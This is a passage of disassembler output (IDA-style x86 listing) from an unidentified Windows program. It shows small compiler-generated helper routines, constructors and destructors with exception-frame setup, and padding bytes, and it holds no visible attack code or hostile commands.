XREF: ___:004160D6j push esi call sub_401163 add esp, 4 mov [eax], edi mov eax, esi pop edi pop esi retn 8 ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_416100 proc near ; CODE XREF: sub_401E33j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 1 push eax call sub_4010D7 sub_416100 endp ; --------------------------------------------------------------------------- retn 4 ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416120 proc near ; CODE XREF: sub_401249j arg_0 = dword ptr 4 mov eax, [esp+arg_0] retn sub_416120 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416140 proc near ; CODE XREF: sub_402144j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 8 retn sub_416140 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416160 proc near ; CODE XREF: sub_401E97j mov eax, ecx retn sub_416160 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416180 proc near ; CODE XREF: sub_401CDAj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_401357 mov eax, esi pop esi retn 4 sub_416180 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4161B0 proc near ; CODE XREF: sub_4010DCj arg_0 = dword ptr 4 push esi mov esi, [ecx] call sub_4018C5 mov eax, [esp+4+arg_0] mov [eax], esi pop esi retn 8 sub_4161B0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4161E0 proc near ; CODE XREF: sub_401EC4j arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov eax, [ecx] push esi xor ecx, ecx mov esi, [edx] cmp eax, esi pop esi setz cl mov al, cl retn 4 sub_4161E0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_416210 proc near ; CODE XREF: sub_401D11j arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch push ebx push esi mov esi, ecx push edi lea ecx, [esp+0Ch+arg_4] call sub_4012CB mov edi, eax push edi call sub_4017DF mov eax, [eax] add esp, 4 mov ecx, esi push eax push edi call sub_401DB6 sub_416210 endp ; --------------------------------------------------------------------------- push edi mov ebx, eax call sub_4017DF push edi mov [eax], ebx call sub_4017DF mov edi, [eax] push edi call sub_4017DF mov ecx, [eax] push ecx call sub_401BCC mov edx, [esp+28h] add esp, 10h mov [eax], edi push edx push edi call sub_4017E4 add esp, 4 mov ecx, esi push eax call sub_401E15 mov ecx, [esi+8] push edi inc ecx mov [esi+8], ecx lea ecx, [esp+1Ch] call sub_401D7A mov ecx, [eax] mov eax, [esp+10h] pop edi pop esi mov [eax], ecx pop ebx retn 0Ch ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4162B0 proc near ; CODE XREF: sub_401078j var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ecx push ebx push esi push edi mov edi, ecx lea eax, [esp+10h+var_4] push 0 push eax lea ecx, [esp+18h+arg_4] call sub_401EBF mov ecx, eax call sub_4012CB mov esi, eax push esi call sub_401BCC push esi mov ebx, eax call sub_4017DF mov ecx, [eax] push ecx call sub_401BCC mov edx, [ebx] push esi mov [eax], edx call sub_4017DF push esi mov ebx, eax call sub_401BCC mov eax, [eax] push eax call sub_4017DF mov ecx, [ebx] push esi mov [eax], ecx call sub_4017E4 add esp, 1Ch mov ecx, edi push eax call sub_401401 push esi mov ecx, edi call sub_401F14 sub_4162B0 endp ; --------------------------------------------------------------------------- mov eax, [edi+8] mov edx, [esp+18h] dec eax mov [edi+8], eax mov eax, [esp+14h] pop edi pop esi mov [eax], edx pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416370 proc near ; CODE XREF: sub_40140Bj var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch sub esp, 8 lea eax, [esp+8+arg_8] push esi mov esi, ecx push eax lea ecx, [esp+10h+arg_4] call sub_401339 test al, al jz short loc_4163CA loc_416388: ; CODE XREF: sub_416370+47j lea ecx, [esp+0Ch+var_8] push 0 push ecx lea ecx, [esp+14h+arg_4] call sub_401EBF mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_401078 ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch+arg_8] push ecx lea ecx, [esp+10h+arg_4] call sub_401339 test al, al jnz short loc_416388 mov eax, [esp+0Ch+arg_0] mov edx, [esp+0Ch+arg_4] pop esi mov [eax], edx add esp, 8 retn 0Ch ; --------------------------------------------------------------------------- loc_4163CA: ; CODE XREF: sub_416370+16j mov eax, [esp+0Ch+arg_0] mov ecx, [esp+0Ch+arg_4] pop esi mov [eax], ecx add esp, 8 retn 0Ch sub_416370 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_416400 proc near ; CODE XREF: sub_401DB6j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi push 0Ch call sub_401EBA sub_416400 endp ; --------------------------------------------------------------------------- mov edi, [esp+0Ch] mov esi, eax test edi, edi jnz short loc_416415 mov edi, esi loc_416415: ; CODE XREF: ___:00416411j push esi call sub_401BCC mov [eax], edi mov edi, [esp+14h] add esp, 4 test edi, edi jnz short loc_41642A mov edi, esi loc_41642A: ; CODE XREF: ___:00416426j push esi call sub_4017DF add esp, 4 mov [eax], edi mov eax, esi pop edi pop esi retn 8 ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_416450 proc near ; CODE XREF: sub_401F14j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 1 push eax call sub_401866 sub_416450 endp ; --------------------------------------------------------------------------- retn 4 ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416470 proc near ; CODE XREF: sub_401BCCj arg_0 = dword ptr 4 mov eax, [esp+arg_0] retn sub_416470 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416490 proc near ; CODE XREF: sub_4017E4j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 8 retn sub_416490 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4164B0 proc near ; CODE XREF: sub_401E42j mov eax, ecx retn sub_4164B0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4164D0 proc near ; CODE XREF: sub_401D7Aj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_401618 mov eax, esi pop esi retn 4 sub_4164D0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416500 proc near ; CODE XREF: sub_401EBFj arg_0 = dword ptr 4 push esi mov esi, [ecx] call sub_40118B mov eax, [esp+4+arg_0] mov [eax], esi pop esi retn 8 sub_416500 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416530 proc near ; CODE XREF: sub_401456j arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov eax, [ecx] push esi xor ecx, ecx mov esi, [edx] cmp eax, esi pop esi setz cl mov al, cl retn 4 sub_416530 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416560 proc near ; CODE XREF: sub_401104j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 4 retn sub_416560 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_416580 proc near ; CODE XREF: sub_4020F4j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401D2A sub_416580 endp ; --------------------------------------------------------------------------- add esp, 8 retn 4 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4165B0 proc near ; CODE XREF: sub_401E1Aj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_437AD2 sub_4165B0 endp ; --------------------------------------------------------------------------- pop ecx retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4165D0 proc near ; CODE XREF: sub_4021B7j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_40125D add esp, 8 retn 8 sub_4165D0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416600 proc near ; CODE XREF: sub_401500j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call j_nullsub_6 pop ecx retn 4 sub_416600 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416620 proc near ; CODE XREF: sub_40175Dj arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov [eax], ecx retn 4 sub_416620 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416640 proc near ; CODE XREF: sub_401A5Fj mov eax, [ecx] push eax call sub_401F19 add esp, 4 retn sub_416640 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416660 proc near ; CODE XREF: sub_40210Dj push esi mov esi, ecx mov eax, [esi] push eax call sub_4020A9 mov ecx, [eax] add esp, 4 mov [esi], ecx mov eax, esi pop esi retn sub_416660 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416690 proc near ; CODE XREF: sub_401CBCj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_401E74 neg al sbb eax, eax inc eax retn 4 sub_416690 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4166C0 proc near ; CODE XREF: sub_401C62j mov eax, [ecx] retn sub_4166C0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4166E0 proc near ; CODE XREF: sub_401163j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 4 retn sub_4166E0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_416700 proc near ; CODE XREF: sub_4015AFj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401D2A sub_416700 endp ; --------------------------------------------------------------------------- add esp, 8 retn 4 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_416730 proc near ; CODE XREF: sub_4010D7j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_437AD2 sub_416730 endp ; --------------------------------------------------------------------------- pop ecx retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416750 proc near ; CODE XREF: sub_4015F0j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_40205E add esp, 8 retn 8 sub_416750 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416780 proc near ; CODE XREF: sub_401D61j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call j_nullsub_5 pop ecx retn 4 sub_416780 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4167A0 proc near ; CODE XREF: sub_401357j arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov [eax], ecx retn 4 sub_4167A0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4167C0 proc near ; CODE XREF: sub_401F8Cj mov eax, [ecx] retn sub_4167C0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4167E0 proc near ; CODE XREF: sub_4017DFj arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 4 retn sub_4167E0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_416800 proc near ; CODE XREF: sub_401EBAj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401D2A sub_416800 endp ; --------------------------------------------------------------------------- add esp, 8 retn 4 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_416830 proc near ; CODE XREF: sub_401866j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_437AD2 sub_416830 endp ; --------------------------------------------------------------------------- pop ecx retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416850 proc near ; CODE XREF: sub_401E15j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_4020EA add esp, 8 retn 8 sub_416850 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416880 proc near ; CODE XREF: sub_401401j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call j_nullsub_3 pop ecx retn 4 sub_416880 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4168A0 proc near ; CODE XREF: sub_401618j arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov [eax], ecx retn 4 sub_4168A0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4168C0 proc near ; CODE XREF: sub_4012CBj mov eax, [ecx] retn sub_4168C0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4168E0 proc near ; CODE XREF: sub_401E74j arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov eax, [ecx] push esi xor ecx, ecx mov esi, [edx] cmp eax, esi pop esi setz cl mov al, cl retn 4 sub_4168E0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416910 proc near ; CODE XREF: sub_40125Dj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push eax push 4 call sub_4011CC add esp, 8 test eax, eax jz short locret_41692B mov ecx, [esp+arg_4] mov edx, [ecx] mov [eax], edx locret_41692B: ; CODE XREF: sub_416910+11j retn sub_416910 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_6. PRESS KEYPAD "+" TO EXPAND] db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416960 proc near ; CODE XREF: sub_40205Ej arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push eax push 4 call sub_4011CC add esp, 8 test eax, eax jz short locret_41697B mov ecx, [esp+arg_4] mov edx, [ecx] mov [eax], edx locret_41697B: ; CODE XREF: sub_416960+11j retn sub_416960 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_5. PRESS KEYPAD "+" TO EXPAND] db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4169B0 proc near ; CODE XREF: sub_4020EAj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push eax push 4 call sub_4011CC add esp, 8 test eax, eax jz short locret_4169CB mov ecx, [esp+arg_4] mov edx, [ecx] mov [eax], edx locret_4169CB: ; CODE XREF: sub_4169B0+11j retn sub_4169B0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_3. PRESS KEYPAD "+" TO EXPAND] aRrrrrrrrrrrrrr db '',1Bh,0 align 4 dd 36E900h, 90900000h, 90909090h, 4 dup(0CCCCCCCCh), 449118B9h dd 0B436E900h, 9090FFFEh, 90909090h, 4 dup(0CCCCCCCCh) dd 416A6068h, 116CE800h, 0C3590002h, 90909090h, 4 dup(0CCCCCCCCh) dd 449118B9h, 0B1EEE900h, 9090FFFEh, 90909090h, 4 dup(0CCCCCCCCh) ; --------------------------------------------------------------------------- loc_416A80: ; CODE XREF: ___:00401C58j push 0FFFFFFFFh push offset loc_43B2E1 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+4], esi lea ecx, [esi+9FD83h] mov dword ptr [esp+10h], 1Ah call sub_4021FD ; --------------------------------------------------------------------------- lea ecx, [esi+9FD6Ch] mov byte ptr [esp+10h], 19h call sub_401226 lea ecx, [esi+9FD57h] mov byte ptr [esp+10h], 18h call sub_401226 lea ecx, [esi+9FD42h] mov byte ptr [esp+10h], 17h call sub_401226 lea ecx, [esi+9FD2Dh] mov byte ptr [esp+10h], 16h call sub_401226 lea ecx, [esi+9FC42h] mov byte ptr [esp+10h], 15h call sub_401F00 lea ecx, [esi+9FC31h] mov byte ptr [esp+10h], 14h call sub_401771 lea ecx, [esi+9FBFFh] mov byte ptr [esp+10h], 13h call sub_402013 lea ecx, [esi+9FBCDh] mov byte ptr [esp+10h], 12h call sub_401E06 lea ecx, [esi+9FB93h] mov byte ptr [esp+10h], 11h call sub_401889 lea ecx, [esi+9FB05h] mov byte ptr [esp+10h], 10h call sub_401113 lea ecx, [esi+9FAD3h] mov byte ptr [esp+10h], 0Fh call sub_401F46 lea ecx, [esi+9FA73h] mov byte ptr [esp+10h], 0Eh call sub_401B3B lea ecx, [esi+9FA13h] mov byte ptr [esp+10h], 0Dh call sub_4017DA lea ecx, [esi+8F4BFh] mov byte ptr [esp+10h], 0Ch call sub_4018D9 lea ecx, [esi+8F3A2h] mov byte ptr [esp+10h], 0Bh call sub_401ECE lea ecx, [esi+8F285h] mov byte ptr [esp+10h], 0Ah call sub_402239 lea ecx, [esi+8F270h] mov byte ptr [esp+10h], 9 call sub_4017AD lea ecx, [esi+8F247h] mov byte ptr [esp+10h], 8 call sub_401A32 lea ecx, [esi+8EF5Dh] mov byte ptr [esp+10h], 7 call sub_4013C5 ; --------------------------------------------------------------------------- lea ecx, [esi+1E6Fh] mov byte ptr [esp+10h], 6 call sub_401235 lea ecx, [esi+1D29h] mov byte ptr [esp+10h], 5 call sub_401EA1 lea ecx, [esi+1C58h] mov byte ptr [esp+10h], 4 call sub_4014FB lea ecx, [esi+1BBEh] mov byte ptr [esp+10h], 3 call sub_401AFA ; --------------------------------------------------------------------------- lea ecx, [esi+1B46h] mov byte ptr [esp+10h], 2 call sub_401CA3 ; --------------------------------------------------------------------------- lea ecx, [esi+15Fh] mov byte ptr [esp+10h], 1 call sub_401938 lea ecx, [esi+3Eh] mov byte ptr [esp+10h], 0 call sub_401447 mov ecx, esi mov dword ptr [esp+10h], 0FFFFFFFFh call sub_401262 ; --------------------------------------------------------------------------- mov ecx, [esp+8] pop esi mov large fs:0, ecx add esp, 10h retn ; --------------------------------------------------------------------------- db 4 dup(90h) db 80h dup(0CCh) ; --------------------------------------------------------------------------- loc_416CF0: ; CODE XREF: ___:00401E60j push 0FFFFFFFFh push offset loc_43B4C1 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push esi mov esi, ecx mov [esp+8], esi call sub_4020BD ; --------------------------------------------------------------------------- lea ecx, [esi+3Eh] mov dword ptr [esp+14h], 0 call sub_4015E6 lea ecx, [esi+15Fh] mov byte ptr [esp+14h], 1 call sub_40129E lea ecx, [esi+1B46h] mov byte ptr [esp+14h], 2 call sub_402018 ; --------------------------------------------------------------------------- lea ecx, [esi+1BBEh] mov byte ptr [esp+14h], 3 call sub_401A00 ; --------------------------------------------------------------------------- lea ecx, [esi+1C58h] mov byte ptr [esp+14h], 4 call sub_401587 lea ecx, [esi+1D29h] mov byte ptr [esp+14h], 5 call sub_40164F lea ecx, [esi+1E6Fh] mov byte ptr [esp+14h], 6 call sub_401780 lea ecx, [esi+8EF5Dh] mov byte ptr [esp+14h], 7 call sub_40169F lea ecx, [esi+8F247h] mov byte ptr [esp+14h], 8 call sub_40182F lea ecx, [esi+8F270h] mov byte ptr [esp+14h], 9 call sub_4016BD lea ecx, [esi+8F285h] mov byte ptr [esp+14h], 0Ah call sub_40141F lea ecx, [esi+8F3A2h] mov byte ptr [esp+14h], 0Bh call sub_401302 lea ecx, [esi+8F4BFh] mov byte ptr [esp+14h], 0Ch call sub_401271 lea ecx, [esi+8F51Fh] mov byte ptr [esp+14h], 0Dh call sub_401D25 lea ecx, [esi+9FA13h] call sub_4012FD lea ecx, [esi+9FA73h] mov byte ptr [esp+14h], 0Eh call sub_401A91 lea ecx, [esi+9FAD3h] mov byte ptr [esp+14h], 0Fh call sub_401285 lea ecx, [esi+9FB05h] mov byte ptr [esp+14h], 10h call sub_401CB7 lea ecx, [esi+9FB93h] mov byte ptr [esp+14h], 11h call sub_402121 ; --------------------------------------------------------------------------- mov byte ptr [esp+14h], 12h lea ecx, [esi+9FBCDh] call sub_40157D lea ecx, [esi+9FBFFh] mov byte ptr [esp+14h], 13h call sub_401799 lea ecx, [esi+9FC31h] mov byte ptr [esp+14h], 14h call sub_401069 lea ecx, [esi+9FC42h] mov byte ptr [esp+14h], 15h call sub_401073 lea ecx, [esi+9FD2Dh] mov byte ptr [esp+14h], 16h call sub_40142E lea ecx, [esi+9FD42h] mov byte ptr [esp+14h], 17h call sub_40142E lea ecx, [esi+9FD57h] mov byte ptr [esp+14h], 18h call sub_40142E lea ecx, [esi+9FD6Ch] mov byte ptr [esp+14h], 19h call sub_40142E lea eax, [esp+7] lea ecx, [esi+9FD83h] push eax mov byte ptr [esp+18h], 1Ah call sub_401B0E ; --------------------------------------------------------------------------- mov ecx, [esp+0Ch] mov eax, esi pop esi mov large fs:0, ecx add esp, 14h retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 80h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_416F70 proc near ; CODE XREF: sub_401262j var_10 = dword ptr -10h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_416F70 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+32h] mov [esp+14h+var_4], 0 call sub_401B1D sub_416F70 endp ; --------------------------------------------------------------------------- lea ecx, [esi+4] mov dword ptr [esp+10h], 0FFFFFFFFh call sub_401023 mov ecx, [esp+8] pop esi mov large fs:0, ecx add esp, 10h retn ; --------------------------------------------------------------------------- db 3 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_416FE0 proc near ; CODE XREF: sub_401938j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_416FE0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+179Fh] mov [esp+14h+var_4], 3Ch call sub_40208B lea ecx, [esi+1557h] mov byte ptr [esp+14h+var_4], 3Bh call sub_40208B lea ecx, [esi+130Fh] mov byte ptr [esp+14h+var_4], 3Ah call sub_40208B lea ecx, [esi+10C7h] mov byte ptr [esp+14h+var_4], 39h call sub_40208B lea ecx, [esi+0E7Fh] mov byte ptr [esp+14h+var_4], 38h call sub_40208B mov byte ptr [esp+14h+var_4], 37h lea ecx, [esi+0E51h] call sub_401023 lea ecx, [esi+0E23h] mov byte ptr [esp+14h+var_4], 36h call sub_401023 lea ecx, [esi+0DF5h] mov byte ptr [esp+14h+var_4], 35h call sub_401023 lea ecx, [esi+0DC7h] mov byte ptr [esp+14h+var_4], 34h call sub_401023 lea ecx, [esi+0D99h] mov byte ptr [esp+14h+var_4], 33h call sub_401023 lea ecx, [esi+0D6Bh] mov byte ptr [esp+14h+var_4], 32h call sub_401023 lea ecx, [esi+0D3Dh] mov byte ptr [esp+14h+var_4], 31h call sub_401023 lea ecx, [esi+0D0Fh] mov byte ptr [esp+14h+var_4], 30h call sub_401023 lea ecx, [esi+0CE1h] mov byte ptr [esp+14h+var_4], 2Fh call sub_401023 lea ecx, [esi+0CB3h] mov byte ptr [esp+14h+var_4], 2Eh call sub_401023 lea ecx, [esi+0C85h] mov byte ptr [esp+14h+var_4], 2Dh call sub_401023 lea ecx, [esi+0C57h] mov byte ptr [esp+14h+var_4], 2Ch call sub_401023 lea ecx, [esi+0C29h] mov byte ptr [esp+14h+var_4], 2Bh call sub_401023 lea ecx, [esi+0BFBh] mov byte ptr [esp+14h+var_4], 2Ah call sub_401023 lea ecx, [esi+0BCDh] mov byte ptr [esp+14h+var_4], 29h call sub_401023 lea ecx, [esi+0B9Fh] mov byte ptr [esp+14h+var_4], 28h call sub_401023 lea ecx, [esi+0B71h] mov byte ptr [esp+14h+var_4], 27h call sub_401023 lea ecx, [esi+0B28h] mov byte ptr [esp+14h+var_4], 26h call sub_401AE6 lea ecx, [esi+0ADFh] mov byte ptr [esp+14h+var_4], 25h call sub_401AE6 lea ecx, [esi+0A96h] mov byte ptr [esp+14h+var_4], 24h call sub_401AE6 lea ecx, [esi+0A4Dh] mov byte ptr [esp+14h+var_4], 23h call sub_401AE6 lea ecx, [esi+0A04h] mov byte ptr [esp+14h+var_4], 22h call sub_401AE6 lea ecx, [esi+9BBh] mov byte ptr [esp+14h+var_4], 21h call sub_401AE6 lea ecx, [esi+972h] mov byte ptr [esp+14h+var_4], 20h call sub_401AE6 lea ecx, [esi+929h] mov byte ptr [esp+14h+var_4], 1Fh call sub_401AE6 lea ecx, [esi+8E0h] mov byte ptr [esp+14h+var_4], 1Eh call sub_401AE6 lea ecx, [esi+897h] mov byte ptr [esp+14h+var_4], 1Dh call sub_401AE6 mov byte ptr [esp+14h+var_4], 1Ch lea ecx, [esi+84Eh] call sub_401AE6 lea ecx, [esi+805h] mov byte ptr [esp+14h+var_4], 1Bh call sub_401AE6 lea ecx, [esi+7BCh] mov byte ptr [esp+14h+var_4], 1Ah call sub_401AE6 lea ecx, [esi+773h] mov byte ptr [esp+14h+var_4], 19h call sub_401AE6 lea ecx, [esi+72Ah] mov byte ptr [esp+14h+var_4], 18h call sub_401AE6 lea ecx, [esi+6E1h] mov byte ptr [esp+14h+var_4], 17h call sub_401AE6 lea ecx, [esi+698h] mov byte ptr [esp+14h+var_4], 16h call sub_401AE6 lea ecx, [esi+64Fh] mov byte ptr [esp+14h+var_4], 15h call sub_401AE6 lea ecx, [esi+606h] mov byte ptr [esp+14h+var_4], 14h call sub_401AE6 lea ecx, [esi+5BDh] mov byte ptr [esp+14h+var_4], 13h call sub_401AE6 lea ecx, [esi+574h] mov byte ptr [esp+14h+var_4], 12h call sub_401AE6 lea ecx, [esi+52Bh] mov byte ptr [esp+14h+var_4], 11h call sub_401AE6 lea ecx, [esi+4E2h] mov byte ptr [esp+14h+var_4], 10h call sub_401AE6 lea ecx, [esi+499h] mov byte ptr [esp+14h+var_4], 0Fh call sub_401AE6 lea ecx, [esi+450h] mov byte ptr [esp+14h+var_4], 0Eh call sub_401AE6 lea ecx, [esi+407h] mov byte ptr [esp+14h+var_4], 0Dh call sub_401AE6 lea ecx, [esi+3BEh] mov byte ptr [esp+14h+var_4], 0Ch call sub_401AE6 lea ecx, [esi+375h] mov byte ptr [esp+14h+var_4], 0Bh call sub_401AE6 lea ecx, [esi+32Ch] mov byte ptr [esp+14h+var_4], 0Ah call sub_401AE6 lea ecx, [esi+2E3h] mov byte ptr [esp+14h+var_4], 9 call sub_401AE6 lea ecx, [esi+29Ah] mov byte ptr [esp+14h+var_4], 8 call sub_401AE6 lea ecx, [esi+251h] mov byte ptr [esp+14h+var_4], 7 call sub_401AE6 lea ecx, [esi+208h] mov byte ptr [esp+14h+var_4], 6 call sub_401AE6 lea ecx, [esi+1BFh] mov byte ptr [esp+14h+var_4], 5 call sub_401AE6 lea ecx, [esi+176h] mov byte ptr [esp+14h+var_4], 4 call sub_401AE6 lea ecx, [esi+12Dh] mov byte ptr 